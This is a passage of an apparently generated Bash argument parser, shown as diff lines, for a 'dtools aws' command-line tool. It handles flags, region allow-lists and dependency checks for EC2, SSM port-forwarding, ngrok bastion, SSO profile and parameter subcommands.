validation_output="$(validate_aws_profile_exists "${args['profile']:-}")" + if [[ -n "$validation_output" ]]; then + printf "validation error in %s:\n%s\n" "PROFILE" "$validation_output" >&2 + exit 1 + fi + fi + +} + +# :command.parse_requirements +dtools_aws_region_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_region_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="aws region" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['region']+x} ]]; then + args['region']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['region']+x} ]]; then + printf "missing required argument: REGION\nusage: dtools aws region REGION\n" >&2 + + exit 1 + fi + + # :command.whitelist_filter + if [[ -n ${args['region']:-} ]] && [[ ! ${args['region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then + printf "%s\n" "region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_aws_toggle_auto_prompt_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_toggle_auto_prompt_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="aws toggle-auto-prompt" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_aws_export_sso_creds_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_export_sso_creds_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="aws export-sso-creds" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --profile | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--profile']="$2" + shift + shift + else + printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 + exit 1 + fi + ;; + + # :flag.case + --region | -r) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--region']="$2" + shift + shift + else + printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.default_assignments + [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" + + # :command.validations + # :flag.validations + if [[ -v args['--profile'] ]]; then + validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 + exit 1 + fi + fi + + # :command.whitelist_filter + if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then + printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_profile_and_region_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_aws_generate_sso_profiles_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_generate_sso_profiles_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v jq >/dev/null 2>&1; then + printf "missing dependency: jq\n" >&2 + printf "%s\n\n" "Install with 'brew install jq'" >&2 + missing_deps=1 + else + deps['jq']="$(command -v jq | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="aws generate-sso-profiles" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --backup) + + # :flag.case_no_arg + args['--backup']=1 + shift + ;; + + # :flag.case + --default-cli-region | -d) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--default-cli-region']="$2" + shift + shift + else + printf "%s\n" "--default-cli-region requires an argument: --default-cli-region, -d DEFAULT-CLI-REGION" >&2 + exit 1 + fi + ;; + + # :flag.case + --sso-region | -r) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--sso-region']="$2" + shift + shift + else + printf "%s\n" "--sso-region requires an argument: --sso-region, -r SSO-REGION" >&2 + exit 1 + fi + ;; + + # :flag.case + --sso-start-url | -u) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--sso-start-url']="$2" + shift + shift + else + printf "%s\n" "--sso-start-url requires an argument: --sso-start-url, -u SSO-START-URL" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.required_flags_filter + if [[ -z ${args['--sso-region']+x} ]]; then + printf "missing required flag: --sso-region, -r SSO-REGION\n" >&2 + exit 1 + fi + if [[ -z ${args['--sso-start-url']+x} ]]; then + printf "missing required flag: --sso-start-url, -u SSO-START-URL\n" >&2 + exit 1 + fi + + # :command.whitelist_filter + if [[ ${args['--default-cli-region']:-} ]] && [[ ! ${args['--default-cli-region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then + printf "%s\n" "--default-cli-region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 + exit 1 + fi + if [[ ${args['--sso-region']:-} ]] && [[ ! ${args['--sso-region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then + printf "%s\n" "--sso-region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_aws_ec2_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_ec2_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v aws >/dev/null 2>&1; then + printf "missing dependency: aws\n" >&2 + printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html'" >&2 + missing_deps=1 + else + deps['aws']="$(command -v aws | head -n1)" + fi + + # :dependency.filter + if ! command -v jq >/dev/null 2>&1; then + printf "missing dependency: jq\n" >&2 + printf "%s\n\n" "Install using 'brew install jq'" >&2 + missing_deps=1 + else + deps['jq']="$(command -v jq | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + list-instances) + action="list-instances" + shift + dtools_aws_ec2_list_instances_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_aws_ec2_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_aws_ec2_list_instances_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_ec2_list_instances_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="aws ec2 list-instances" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --profile | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--profile']="$2" + shift + shift + else + printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 + exit 1 + fi + ;; + + # :flag.case + --region | -r) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--region']="$2" + shift + shift + else + printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 + exit 1 + fi + ;; + + # :flag.case + --detailed) + # :flag.conflicts + if [[ -n "${args['--filter']:-}" ]]; then + printf "conflicting options: %s cannot be used with %s\n" "$key" "--filter" >&2 + exit 1 + fi + + # :flag.case_no_arg + args['--detailed']=1 + shift + ;; + + # :flag.case + --filter | -f) + # :flag.conflicts + if [[ -n "${args['--detailed']:-}" ]]; then + printf "conflicting options: %s cannot be used with %s\n" "$key" "--detailed" >&2 + exit 1 + fi + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + escaped="$(printf '%q' "$2")" + if [[ -z ${args['--filter']+x} ]]; then + args['--filter']="$escaped" + elif [[ -z "${unique_lookup["--filter:${escaped}"]:-}" ]]; then + args['--filter']="${args['--filter']} $escaped" + fi + unique_lookup["--filter:${escaped}"]=1 + shift + shift + else + printf "%s\n" "--filter requires an argument: --filter, -f FILTER" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.default_assignments + [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" + + # :command.validations + # :flag.validations + if [[ -v args['--profile'] ]]; then + validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 + exit 1 + fi + fi + + # :command.whitelist_filter + if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then + printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 + exit 1 + fi + input_array='' + eval "input_array=(${args[--filter]})" + for i in "${input_array[@]}"; do + if [[ ! $i =~ ^(instance-id|instance-type|private-dns-name|private-ip-address|public-dns-name|subnet-id|vpc-id|tags|launch-time|availability-zone|state|architecture|instance-profile|security-groups|os)$ ]]; then + printf "%s\n" "--filter must be one of: instance-id, instance-type, private-dns-name, private-ip-address, public-dns-name, subnet-id, vpc-id, tags, launch-time, availability-zone, state, architecture, instance-profile, security-groups, os" >&2 + exit 1 + fi + done + + # :command.user_filter + filter_error=$(filter_profile_and_region_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_aws_ssm_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_ssm_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v aws >/dev/null 2>&1; then + printf "missing dependency: aws\n" >&2 + printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html'" >&2 + missing_deps=1 + else + deps['aws']="$(command -v aws | head -n1)" + fi + + # :dependency.filter + if ! command -v jq >/dev/null 2>&1; then + printf "missing dependency: jq\n" >&2 + printf "%s\n\n" "Install using 'brew install jq'" >&2 + missing_deps=1 + else + deps['jq']="$(command -v jq | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + start-port-forwarding) + action="start-port-forwarding" + shift + dtools_aws_ssm_start_port_forwarding_parse_requirements "$@" + shift $# + ;; + + start-ngrok-bastion-instance) + action="start-ngrok-bastion-instance" + shift + dtools_aws_ssm_start_ngrok_bastion_instance_parse_requirements "$@" + shift $# + ;; + + list-parameters) + action="list-parameters" + shift + dtools_aws_ssm_list_parameters_parse_requirements "$@" + shift $# + ;; + + get-parameter) + action="get-parameter" + shift + dtools_aws_ssm_get_parameter_parse_requirements "$@" + shift $# + ;; + + create-parameter) + action="create-parameter" + shift + dtools_aws_ssm_create_parameter_parse_requirements "$@" + shift $# + ;; + + update-parameter) + action="update-parameter" + shift + dtools_aws_ssm_update_parameter_parse_requirements "$@" + shift $# + ;; + + delete-parameter) + action="delete-parameter" + shift + dtools_aws_ssm_delete_parameter_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_aws_ssm_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_aws_ssm_start_port_forwarding_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_ssm_start_port_forwarding_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="aws ssm start-port-forwarding" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --profile | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--profile']="$2" + shift + shift + else + printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 + exit 1 + fi + ;; + + # :flag.case + --region | -r) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--region']="$2" + shift + shift + else + printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 + exit 1 + fi + ;; + + # :flag.case + --remote-port) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--remote-port']="$2" + shift + shift + else + printf "%s\n" "--remote-port requires an argument: --remote-port REMOTE-PORT" >&2 + exit 1 + fi + ;; + + # :flag.case + --local-port) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--local-port']="$2" + shift + shift + else + printf "%s\n" "--local-port requires an argument: --local-port LOCAL-PORT" >&2 + exit 1 + fi + ;; + + # :flag.case + --host) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--host']="$2" + shift + shift + else + printf "%s\n" "--host requires an argument: --host HOST" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['instance-id']+x} ]]; then + args['instance-id']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['instance-id']+x} ]]; then + printf "missing required argument: INSTANCE-ID\nusage: dtools aws ssm start-port-forwarding INSTANCE-ID [OPTIONS]\n" >&2 + + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" + [[ -n ${args['--remote-port']:-} ]] || args['--remote-port']="80" + [[ -n ${args['--local-port']:-} ]] || args['--local-port']="0" + [[ -n ${args['--host']:-} ]] || args['--host']="localhost" + + # :command.validations + # :flag.validations + if [[ -v args['--profile'] ]]; then + validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 + exit 1 + fi + fi + + # :flag.validations + if [[ -v args['--remote-port'] ]]; then + validation_output="$(validate_aws_ssm_port_forwarding_number "${args['--remote-port']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--remote-port REMOTE-PORT" "$validation_output" >&2 + exit 1 + fi + fi + + # :flag.validations + if [[ -v args['--local-port'] ]]; then + validation_output="$(validate_aws_ssm_port_forwarding_number "${args['--local-port']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--local-port LOCAL-PORT" "$validation_output" >&2 + exit 1 + fi + fi + + # :flag.validations + if [[ -v args['--host'] ]]; then + validation_output="$(validate_aws_ssm_port_forwarding_host "${args['--host']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--host HOST" "$validation_output" >&2 + exit 1 + fi + fi + + # :command.whitelist_filter + if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then + printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_profile_and_region_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_aws_ssm_start_ngrok_bastion_instance_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_ssm_start_ngrok_bastion_instance_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v jq >/dev/null 2>&1; then + printf "missing dependency: jq\n" >&2 + printf "%s\n\n" "Install with 'brew install jq'" >&2 + missing_deps=1 + else + deps['jq']="$(command -v jq | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="aws ssm start-ngrok-bastion-instance" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --profile | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--profile']="$2" + shift + shift + else + printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 + exit 1 + fi + ;; + + # :flag.case + --region | -r) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--region']="$2" + shift + shift + else + printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 + exit 1 + fi + ;; + + # :flag.case + --hostname) + + # :flag.case_no_arg + args['--hostname']=1 + shift + ;; + + # :flag.case + --subnet-id) + + # :flag.case_no_arg + args['--subnet-id']=1 + shift + ;; + + # :flag.case + --port) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--port']="$2" + shift + shift + else + printf "%s\n" "--port requires an argument: --port PORT" >&2 + exit 1 + fi + ;; + + # :flag.case + --ngrok-url | -u) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--ngrok-url']="$2" + shift + shift + else + printf "%s\n" "--ngrok-url requires an argument: --ngrok-url, -u NGROK_URL" >&2 + exit 1 + fi + ;; + + # :flag.case + --ngrok-auth-token | -a) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--ngrok-auth-token']="$2" + shift + shift + else + printf "%s\n" "--ngrok-auth-token requires an argument: --ngrok-auth-token, -a NGROK_AUTH_TOKEN" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.required_flags_filter + if [[ -z ${args['--hostname']+x} ]]; then + printf "missing required flag: --hostname\n" >&2 + exit 1 + fi + if [[ -z ${args['--subnet-id']+x} ]]; then + printf "missing required flag: --subnet-id\n" >&2 + exit 1 + fi + if [[ -z ${args['--ngrok-url']+x} ]]; then + printf "missing required flag: --ngrok-url, -u NGROK_URL\n" >&2 + exit 1 + fi + if [[ -z ${args['--ngrok-auth-token']+x} ]]; then + printf "missing required flag: --ngrok-auth-token, -a NGROK_AUTH_TOKEN\n" >&2 + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" + [[ -n ${args['--port']:-} ]] || args['--port']="8080" + + # :command.validations + # :flag.validations + if [[ -v args['--profile'] ]]; then + validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 + exit 1 + fi + fi + + # :command.whitelist_filter + if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then + printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_profile_and_region_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_aws_ssm_list_parameters_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_ssm_list_parameters_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="aws ssm list-parameters" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --profile | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--profile']="$2" + shift + shift + else + printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 + exit 1 + fi + ;; + + # :flag.case + --region | -r) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--region']="$2" + shift + shift + else + printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 + exit 1 + fi + ;; + + # :flag.case + --detailed) + + # :flag.case_no_arg + args['--detailed']=1 + shift + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.default_assignments + [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" + + # :command.validations + # :flag.validations + if [[ -v args['--profile'] ]]; then + validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 + exit 1 + fi + fi + + # :command.whitelist_filter + if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then + printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_profile_and_region_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_aws_ssm_get_parameter_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_ssm_get_parameter_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="aws ssm get-parameter" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --profile | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--profile']="$2" + shift + shift + else + printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 + exit 1 + fi + ;; + + # :flag.case + --region | -r) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--region']="$2" + shift + shift + else + printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 + exit 1 + fi + ;; + + # :flag.case + --detailed) + + # :flag.case_no_arg + args['--detailed']=1 + shift + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # 